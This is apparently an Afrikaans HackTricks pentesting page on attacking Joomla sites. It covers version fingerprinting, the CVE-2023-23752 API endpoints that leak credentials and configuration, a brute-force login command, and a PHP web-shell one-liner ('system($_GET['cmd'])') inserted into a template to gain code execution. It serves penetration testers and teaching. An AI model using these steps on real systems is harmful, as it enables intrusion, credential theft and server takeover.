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https://github.com/carlospolop/hacktricks
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110 lines
4.6 KiB
Markdown
110 lines
4.6 KiB
Markdown
# Joomla
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<details>
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<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
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* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
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* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslagplek](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslagplek](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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### Joomla Statistiek
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Joomla versamel sekere anonieme [gebruikstatistieke](https://developer.joomla.org/about/stats.html) soos die uiteensetting van Joomla, PHP en databasisweergawes en bedienersisteme wat op Joomla-installasies gebruik word. Hierdie data kan ondervra word via hul openbare [API](https://developer.joomla.org/about/stats/api.html).
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```bash
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curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
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{
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"data": {
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"cms_version": {
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"3.0": 0,
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"3.1": 0,
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"3.10": 6.33,
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"3.2": 0.01,
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"3.3": 0.02,
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"3.4": 0.05,
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"3.5": 12.24,
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"3.6": 22.85,
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"3.7": 7.99,
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"3.8": 17.72,
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"3.9": 27.24,
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"4.0": 3.21,
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"4.1": 1.53,
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"4.2": 0.82,
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"4.3": 0,
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"5.0": 0
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},
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"total": 2951032
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}
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}
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```
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## Opsomming
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### Ontdekking/Voetspoor
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* Kontroleer die **meta**
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```bash
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curl https://www.joomla.org/ | grep Joomla | grep generator
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<meta name="generator" content="Joomla! - Open Source Content Management" />
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```
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* robots.txt
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```
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# If the Joomla site is installed within a folder
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# eg www.example.com/joomla/ then the robots.txt file
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# MUST be moved to the site root
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# eg www.example.com/robots.txt
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# AND the joomla folder name MUST be prefixed to all of the
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# paths.
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[...]
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```
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* README.txt
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```
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1- What is this?
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* This is a Joomla! installation/upgrade package to version 3.x
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* Joomla! Official site: https://www.joomla.org
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* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
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* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
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```
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### Weergawe
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* In **/administrator/manifests/files/joomla.xml** kan jy die weergawe sien.
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* In **/language/en-GB/en-GB.xml** kan jy die weergawe van Joomla kry.
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* In **plugins/system/cache/cache.xml** kan jy 'n benaderende weergawe sien.
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```bash
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droopescan scan joomla --url http://joomla-site.local/
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```
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In [**80,443 - Pentesting Web Metodologie** is 'n afdeling oor CMS-skandeerders](./#cms-skanners) wat Joomla kan skandeer.
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### API Ongeagte Geen-gemagtigde Inligting Uitlek:
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Weergawes vanaf 4.0.0 tot 4.2.7 is vatbaar vir Ongeagte inligting uitlek (CVE-2023-23752) wat kredite en ander inligting sal dump.
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* Gebruikers: `http://<host>/api/v1/users?public=true`
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* Konfigurasie-lêer: `http://<host>/api/index.php/v1/config/application?public=true`
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**MSF Module**: `scanner/http/joomla_api_improper_access_checks` of ruby-skrip: [51334](https://www.exploit-db.com/exploits/51334)
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### Brute-Force
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Jy kan hierdie [skrip](https://github.com/ajnik/joomla-bruteforce) gebruik om die aanmelding met geweld te probeer.
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```shell-session
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sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
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admin:admin
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```
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## RCE
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As jy daarin slaag om **admin-kredensiale** te kry, kan jy **RCE binne-in dit** kry deur 'n snipper van **PHP-kode** by te voeg om **RCE** te verkry. Ons kan dit doen deur 'n **sjabloon aan te pas**.
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1. **Klik** op **`Templates`** aan die onderkant links onder `Configuration` om die sjabloonmenu op te roep.
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2. **Klik** op 'n **sjabloonnaam**. Laat ons **`protostar`** kies onder die `Template` kolomkop. Dit sal ons na die **`Templates: Customise`** bladsy bring.
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3. Laastens kan jy op 'n bladsy klik om die **bladsybron** op te roep. Laat ons die **`error.php`** bladsy kies. Ons sal 'n **PHP een-liner byvoeg om kode-uitvoering te verkry** soos volg:
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1. **`system($_GET['cmd']);`**
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4. **Save & Close**
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5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
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